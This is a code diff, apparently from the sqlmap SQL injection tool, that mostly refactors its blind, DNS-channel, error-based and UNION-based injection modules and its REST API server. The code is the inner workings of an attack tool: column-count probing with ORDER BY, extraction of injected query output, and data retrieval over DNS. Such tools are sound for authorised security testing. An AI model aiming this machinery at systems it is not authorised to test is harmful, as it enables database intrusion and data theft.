+            if payload is not None and hintValue is not None and len(hintValue) >= idx:
                 if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                     posValue = hintValue[idx - 1]
                 else:
@@ -469,7 +472,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                             currentCharIndex = threadData.shared.index[0]
 
                         if kb.threadContinue:
-                            start = time.time()
                             val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
                             if val is None:
                                 val = INFERENCE_UNKNOWN_CHAR
@@ -482,7 +484,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
                         if kb.threadContinue:
                             if showEta:
-                                progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0])
+                                progress.progress(threadData.shared.index[0])
                             elif conf.verbose >= 1:
                                 startCharIndex = 0
                                 endCharIndex = 0
@@ -499,7 +501,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                 count = threadData.shared.start
 
                                 for i in xrange(startCharIndex, endCharIndex + 1):
-                                    output += '_' if currentValue[i] is None else currentValue[i]
+                                    output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
 
                                 for i in xrange(length):
                                     count += 1 if currentValue[i] is not None else 0
@@ -516,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                     status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
                                     output += status if _ != length else " " * len(status)
 
-                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
+                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
 
                 runThreads(numThreads, blindThread, startThreadMsg=False)
 
@@ -550,7 +552,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
             while True:
                 index += 1
-                start = time.time()
 
                 # Common prediction feature (a.k.a. "good samaritan")
                 # NOTE: to be used only when multi-threading is not set for
@@ -575,7 +576,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                         # Did we have luck?
                         if result:
                             if showEta:
-                                progress.progress(calculateDeltaSeconds(start), len(commonValue))
+                                progress.progress(len(commonValue))
                             elif conf.verbose in (1, 2) or conf.api:
                                 dataToStdout(filterControlChars(commonValue[index - 1:]))
 
@@ -611,7 +612,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                     # If we had no luck with commonValue and common charset,
                     # use the returned other charset
                     if not val:
-                        val = getChar(index, otherCharset, otherCharset==asciiTbl)
+                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                 else:
                     val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
 
@@ -625,7 +626,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 threadData.shared.value = partialValue = partialValue + val
 
                 if showEta:
-                    progress.progress(calculateDeltaSeconds(start), index)
+                    progress.progress(index)
                 elif conf.verbose in (1, 2) or conf.api:
                     dataToStdout(filterControlChars(val))
 

lib/techniques/dns/test.py

@@ -14,7 +14,6 @@ from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.techniques.dns.use import dnsUse
 
-
 def dnsTest(payload):
     logger.info("testing for data retrieval through DNS channel")
 

lib/techniques/dns/use.py

@@ -33,7 +33,6 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 
-
 def dnsUse(payload, expression):
     """
     Retrieve the output of a SQL query taking advantage of the DNS
@@ -84,7 +83,7 @@ def dnsUse(payload, expression):
                 _ = conf.dnsServer.pop(prefix, suffix)
 
                 if _:
-                    _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
+                    _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
                     _ = decodeHexValue(_)
                     output = (output or "") + _
                     offset += len(_)

lib/techniques/error/use.py

@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import dataToStdout
 from lib.core.common import decodeHexValue
 from lib.core.common import extractRegexResult
+from lib.core.common import firstNotNone
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
 from lib.core.common import getUnicode
@@ -102,7 +103,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
         try:
             while True:
                 check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
-                trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
+                trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
 
                 if field:
                     nulledCastedField = agent.nullAndCastField(field)
@@ -133,20 +134,22 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
 
                 # Parse the returned page to get the exact error-based
                 # SQL injection output
-                output = reduce(lambda x, y: x if x is not None else y, (\
-                        extractRegexResult(check, page), \
-                        extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
-                        extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \
-                        extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
-                        None)
+                output = firstNotNone(
+                    extractRegexResult(check, page),
+                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
+                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
+                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                )
 
                 if output is not None:
                     output = getUnicode(output)
                 else:
-                    trimmed = extractRegexResult(trimcheck, page) \
-                        or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
-                        or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \
-                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    trimmed = firstNotNone(
+                        extractRegexResult(trimCheck, page),
+                        extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
+                        extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
+                        extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    )
 
                     if trimmed:
                         if not chunkTest:
@@ -160,7 +163,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                             output = extractRegexResult(check, trimmed, re.IGNORECASE)
 
                             if not output:
-                                check = "(?P<result>[^\s<>'\"]+)"
+                                check = r"(?P<result>[^\s<>'\"]+)"
                                 output = extractRegexResult(check, trimmed, re.IGNORECASE)
                             else:
                                 output = output.rstrip()
@@ -308,12 +311,7 @@ def errorUse(expression, dump=False):
     # entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
-       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
-       or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-       expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
@@ -334,7 +332,7 @@ def errorUse(expression, dump=False):
                     stopLimit = int(count)
 
                     infoMsg = "used SQL query returns "
-                    infoMsg += "%d entries" % stopLimit
+                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
                     logger.info(infoMsg)
 
             elif count and not count.isdigit():
@@ -404,7 +402,6 @@ def errorUse(expression, dump=False):
                         while kb.threadContinue:
                             with kb.locks.limit:
                                 try:
-                                    valueStart = time.time()
                                     threadData.shared.counter += 1
                                     num = threadData.shared.limits.next()
                                 except StopIteration:
@@ -416,12 +413,12 @@ def errorUse(expression, dump=False):
                                 break
 
                             if output and isListLike(output) and len(output) == 1:
-                                output = output[0]
+                                output = unArrayizeValue(output)
 
                             with kb.locks.value:
                                 index = None
                                 if threadData.shared.showEta:
-                                    threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                    threadData.shared.progress.progress(threadData.shared.counter)
                                 for index in xrange(1 + len(threadData.shared.buffered)):
                                     if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                         break
@@ -447,8 +444,11 @@ def errorUse(expression, dump=False):
     if not value and not abortedFlag:
         value = _errorFields(expression, expressionFields, expressionFieldsList)
 
-    if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
-        value = value[0]
+    if value and isListLike(value):
+        if len(value) == 1 and isinstance(value[0], basestring):
+            value = unArrayizeValue(value)
+        elif len(value) > 1 and stopLimit == 1:
+            value = [value]
 
     duration = calculateDeltaSeconds(start)
 

lib/techniques/union/test.py

@@ -27,6 +27,7 @@ from lib.core.common import wasLastResponseDBMSError
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import PAYLOAD
 from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
@@ -48,15 +49,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
     """
     retVal = None
 
-    def _orderByTechnique():
+    @stackedmethod
+    def _orderByTechnique(lowerCount=None, upperCount=None):
         def _orderByTest(cols):
             query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
             query = agent.suffixQuery(query, suffix=suffix, comment=comment)
             payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
             page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
 
-        if _orderByTest(1) and not _orderByTest(randomInt()):
+        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
             infoMsg = "'ORDER BY' technique appears to be usable. "
             infoMsg += "This should reduce the time needed "
             infoMsg += "to find the right number "
@@ -64,10 +66,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
             infoMsg += "range for current UNION query injection technique test"
             singleTimeLogMessage(infoMsg)
 
-            lowCols, highCols = 1, ORDER_BY_STEP
+            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
             found = None
             while not found:
-                if _orderByTest(highCols):
+                if not conf.uCols and _orderByTest(highCols):
                     lowCols = highCols
                     highCols += ORDER_BY_STEP
                 else:
@@ -88,8 +90,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
         kb.errorIsNone = False
         lowerCount, upperCount = conf.uColsStart, conf.uColsStop
 
-        if lowerCount == 1:
-            found = kb.orderByColumns or _orderByTechnique()
+        if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols):  # ORDER BY is not bullet-proof
+            found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
             if found:
                 kb.orderByColumns = found
                 infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -114,10 +116,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
             items.append((count, ratio))
 
         if not isNullValue(kb.uChar):
-            for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
-                contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items())
-                if len(filter(lambda _: _[1], contains)) == 1:
-                    retVal = filter(lambda _: _[1], contains)[0][0]
+            for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
+                contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
+                if len(contains) == 1:
+                    retVal = contains[0]
                     break
 
         if not retVal:
@@ -142,14 +144,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
 
             elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                     deviation = stdev(ratios)
-                    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
 
-                    if min_ < lower:
-                        retVal = minItem[0]
+                    if deviation is not None:
+                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
 
-                    if max_ > upper:
-                        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
-                            retVal = maxItem[0]
+                        if min_ < lower:
+                            retVal = minItem[0]
+
+                        if max_ > upper:
+                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
+                                retVal = maxItem[0]
     finally:
         kb.errorIsNone = popValue()
 
@@ -263,6 +267,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
 
     validPayload = None
     vector = None
+    orderBy = kb.orderByColumns
+    uChars = (conf.uChar, kb.uChar)
 
     # In case that user explicitly stated number of columns affected
     if conf.uColsStop == conf.uColsStart:
@@ -297,6 +303,10 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
             if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
                 singleTimeWarnMessage(warnMsg)
 
+    if count and orderBy is None and kb.orderByColumns is not None:  # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
+        conf.uChar, kb.uChar = uChars
+        validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
+
     return validPayload, vector
 
 def unionTest(comment, place, parameter, value, prefix, suffix):

lib/techniques/union/use.py

@@ -19,6 +19,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
 from lib.core.common import extractRegexResult
+from lib.core.common import firstNotNone
 from lib.core.common import flattenValue
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
@@ -44,6 +45,7 @@ from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapSyntaxException
@@ -89,11 +91,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
             # Parse the returned page to get the exact UNION-based
             # SQL injection output
             def _(regex):
-                return reduce(lambda x, y: x if x is not None else y, (\
-                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
-                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
-                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
-                        None)
+                return firstNotNone(
+                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
+                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
+                )
 
             # Automatically patching last char trimming cases
             if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -236,13 +237,7 @@ def unionUse(expression, unpack=True, dump=False):
     # SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
-       kb.forcePartialUnion or \
-       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
-       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
-       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
-       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
@@ -263,7 +258,7 @@ def unionUse(expression, unpack=True, dump=False):
                     stopLimit = int(count)
 
                     infoMsg = "used SQL query returns "
-                    infoMsg += "%d entries" % stopLimit
+                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
                     logger.info(infoMsg)
 
             elif count and (not isinstance(count, basestring) or not count.isdigit()):
@@ -317,7 +312,6 @@ def unionUse(expression, unpack=True, dump=False):
                         while kb.threadContinue:
                             with kb.locks.limit:
                                 try:
-                                    valueStart = time.time()
                                     threadData.shared.counter += 1
                                     num = threadData.shared.limits.next()
                                 except StopIteration:
@@ -342,7 +336,7 @@ def unionUse(expression, unpack=True, dump=False):
                                         items = parseUnionPage(output)
 
                                         if threadData.shared.showEta:
-                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                            threadData.shared.progress.progress(threadData.shared.counter)
                                         if isListLike(items):
                                             # in case that we requested N columns and we get M!=N then we have to filter a bit
                                             if len(items) > 1 and len(expressionFieldsList) > 1:
@@ -364,7 +358,7 @@ def unionUse(expression, unpack=True, dump=False):
                                     else:
                                         index = None
                                         if threadData.shared.showEta:
-                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                            threadData.shared.progress.progress(threadData.shared.counter)
                                         for index in xrange(1 + len(threadData.shared.buffered)):
                                             if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                 break

lib/utils/api.py

@@ -33,9 +33,10 @@ from lib.core.data import paths
 from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.defaults import _defaults
+from lib.core.dicts import PART_RUN_CONTENT_TYPES
+from lib.core.enums import AUTOCOMPLETE_TYPE
 from lib.core.enums import CONTENT_STATUS
 from lib.core.enums import MKSTEMP_PREFIX
-from lib.core.enums import PART_RUN_CONTENT_TYPES
 from lib.core.exception import SqlmapConnectionException
 from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
@@ -43,6 +44,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import IS_WIN
 from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
+from lib.core.shell import autoCompletion
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
 from thirdparty.bottle.bottle import error as return_error
@@ -56,7 +58,7 @@ from thirdparty.bottle.bottle import server_names
 
 # Global data storage
 class DataStore(object):
-    admin_id = ""
+    admin_token = ""
     current_db = None
     tasks = dict()
     username = None
@@ -94,7 +96,7 @@ class Database(object):
                 else:
                     self.cursor.execute(statement)
             except sqlite3.OperationalError, ex:
-                if not "locked" in getSafeExString(ex):
+                if "locked" not in getSafeExString(ex):
                     raise
             else:
                 break
@@ -103,22 +105,9 @@ class Database(object):
             return self.cursor.fetchall()
 
     def init(self):
-        self.execute("CREATE TABLE logs("
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                  "taskid INTEGER, time TEXT, "
-                  "level TEXT, message TEXT"
-                  ")")
-
-        self.execute("CREATE TABLE data("
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                  "taskid INTEGER, status INTEGER, "
-                  "content_type INTEGER, value TEXT"
-                  ")")
-
-        self.execute("CREATE TABLE errors("
-                    "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                    "taskid INTEGER, error TEXT"
-                    ")")
+        self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
+        self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")
+        self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")
 
 class Task(object):
     def __init__(self, taskid, remote_addr):
@@ -172,6 +161,8 @@ class Task(object):
             self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
         elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
             self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
+        elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")):
+            self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN)
         else:
             self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
 
@@ -210,7 +201,6 @@ class Task(object):
     def engine_has_terminated(self):
         return isinstance(self.engine_get_returncode(), int)
 
-
 # Wrapper functions for sqlmap engine
 class StdDbOut(object):
     def __init__(self, taskid, messagetype="stdout"):
@@ -277,7 +267,7 @@ def setRestAPILog():
             conf.databaseCursor = Database(conf.database)
             conf.databaseCursor.connect("client")
         except sqlite3.OperationalError, ex:
-            raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
+            raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))
 
         # Set a logging handler that writes log messages to a IPC database
         logger.removeHandler(LOGGER_HANDLER)
@@ -285,8 +275,8 @@ def setRestAPILog():
         logger.addHandler(LOGGER_RECORDER)
 
 # Generic functions
-def is_admin(taskid):
-    return DataStore.admin_id == taskid
+def is_admin(token):
+    return DataStore.admin_token == token
 
 @hook('before_request')
 def check_authentication():
@@ -368,7 +358,7 @@ def path_401():
 @get("/task/new")
 def task_new():
     """
-    Create new task ID
+    Create a new task
     """
     taskid = hexencode(os.urandom(8))
     remote_addr = request.remote_addr
@@ -381,7 +371,7 @@ def task_new():
 @get("/task/<taskid>/delete")
 def task_delete(taskid):
     """
-    Delete own task ID
+    Delete an existing task
     """
     if taskid in DataStore.tasks:
         DataStore.tasks.pop(taskid)
@@ -389,39 +379,42 @@ def task_delete(taskid):
         logger.debug("[%s] Deleted task" % taskid)
         return jsonize({"success": True})
     else:
-        logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid)
-        return jsonize({"success": False, "message": "Invalid task ID"})
+        response.status = 404
+        logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid)
+        return jsonize({"success": False, "message": "Non-existing task ID"})
 
 ###################
 # Admin functions #
 ###################
 
-@get("/admin/<taskid>/list")
-def task_list(taskid=None):
+@get("/admin/list")
+@get("/admin/<token>/list")
+def task_list(token=None):
     """
-    List task pull
+    Pull task list
     """
     tasks = {}
 
     for key in DataStore.tasks:
-        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
             tasks[key] = dejsonize(scan_status(key))["status"]
 
-    logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
+    logger.debug("[%s] Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
     return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})
 
-@get("/admin/<taskid>/flush")
-def task_flush(taskid):
+@get("/admin/flush")
+@get("/admin/<token>/flush")
+def task_flush(token=None):
     """
     Flush task spool (delete all tasks)
     """
 
     for key in list(DataStore.tasks):
-        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
             DataStore.tasks[key].engine_kill()
             del DataStore.tasks[key]
 
-    logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
+    logger.debug("[%s] Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
     return jsonize({"success": True})
 
 ##################################
@@ -444,25 +437,30 @@ def option_list(taskid):
 @post("/option/<taskid>/get")
 def option_get(taskid):
     """
-    Get the value of an option (command line switch) for a certain task ID
+    Get value of option(s) for a certain task ID
     """
     if taskid not in DataStore.tasks:
         logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
         return jsonize({"success": False, "message": "Invalid task ID"})
 
-    option = request.json.get("option", "")
+    options = request.json or []
+    results = {}
 
-    if option in DataStore.tasks[taskid].options:
-        logger.debug("[%s] Retrieved value for option %s" % (taskid, option))
-        return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)})
-    else:
-        logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
-        return jsonize({"success": False, "message": "Unknown option", option: "not set"})
+    for option in options:
+        if option in DataStore.tasks[taskid].options:
+            results[option] = DataStore.tasks[taskid].options[option]
+        else:
+            logger.debug("[%s] Requested value for unknown option '%s'" % (taskid, option))
+            return jsonize({"success": False, "message": "Unknown option '%s'" % option})
+
+    logger.debug("[%s] Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
+
+    return jsonize({"success": True, "options": results})
 
 @post("/option/<taskid>/set")
 def option_set(taskid):
     """
-    Set an option (command line switch) for a certain task ID
+    Set value of option(s) for a certain task ID
     """
 
     if taskid not in DataStore.tasks:
@@ -510,9 +508,7 @@ def scan_stop(taskid):
     Stop a scan
     """
 
-    if (taskid not in DataStore.tasks or
-            DataStore.tasks[taskid].engine_process() is None or
-            DataStore.tasks[taskid].engine_has_terminated()):
+    if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
         logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid)
         return jsonize({"success": False, "message": "Invalid task ID"})
 
@@ -527,9 +523,7 @@ def scan_kill(taskid):
     Kill a scan
     """
 
-    if (taskid not in DataStore.tasks or
-            DataStore.tasks[taskid].engine_process() is None or
-            DataStore.tasks[taskid].engine_has_terminated()):
+    if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
         logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid)
         return jsonize({"success": False, "message": "Invalid task ID"})
 
@@ -584,7 +578,6 @@ def scan_data(taskid):
     logger.debug("[%s] Retrieved scan data and error messages" % taskid)
     return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
 
-
 # Functions to handle scans' logs
 @get("/scan/<taskid>/log/<start>/<end>")
 def scan_log_limited(taskid, start, end):
@@ -612,7 +605,6 @@ def scan_log_limited(taskid, start, end):
     logger.debug("[%s] Retrieved scan log messages subset" % taskid)
     return jsonize({"success": True, "log": json_log_messages})
 
-
 @get("/scan/<taskid>/log")
 def scan_log(taskid):
     """
@@ -632,7 +624,6 @@ def scan_log(taskid):
     logger.debug("[%s] Retrieved scan log messages" % taskid)
     return jsonize({"success": True, "log": json_log_messages})
 
-
 # Function to handle files inside the output directory
 @get("/download/<taskid>/<target>/<filename:path>")
 def download(taskid, target, filename):
@@ -659,13 +650,12 @@ def download(taskid, target, filename):
         logger.warning("[%s] File does not exist %s" % (taskid, target))
         return jsonize({"success": False, "message": "File does not exist"})
 
-
 def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
     """
     REST-JSON API server
     """
 
-    DataStore.admin_id = hexencode(os.urandom(16))
+    DataStore.admin_token = hexencode(os.urandom(16))
     DataStore.username = username
     DataStore.password = password
 
@@ -678,7 +668,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
             port = s.getsockname()[1]
 
     logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
-    logger.info("Admin ID: %s" % DataStore.admin_id)
+    logger.info("Admin (secret) token: %s" % DataStore.admin_token)
     logger.debug("IPC database: '%s'" % Database.filepath)
 
     # Initialize IPC database
@@ -707,14 +697,14 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
     except ImportError:
